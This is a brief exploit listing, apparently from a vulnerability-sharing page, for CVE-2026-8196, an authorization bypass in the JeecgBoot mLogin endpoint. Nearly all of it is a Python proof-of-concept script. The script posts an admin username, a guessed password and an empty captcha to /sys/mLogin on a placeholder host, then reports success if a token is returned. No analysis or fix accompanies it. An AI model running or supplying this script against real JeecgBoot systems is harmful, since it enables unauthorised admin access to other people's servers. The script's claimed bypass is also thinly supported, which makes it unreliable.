CVE-2026-8196 JeecgBoot mLogin端点授权绕过漏洞

import requests # Target URL target_url = "http://target-ip/sys/mLogin" # Payload data bypassing captcha verification payload = { "username": "admin", "password": "password123", "captcha": "" # Bypass by sending empty or specific bypass string } try: response = requests.post(target_url, data=payload) if response.status_code == 200 and "token" in response.text: print("[+] Exploit successful! Authorization bypassed.") else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}")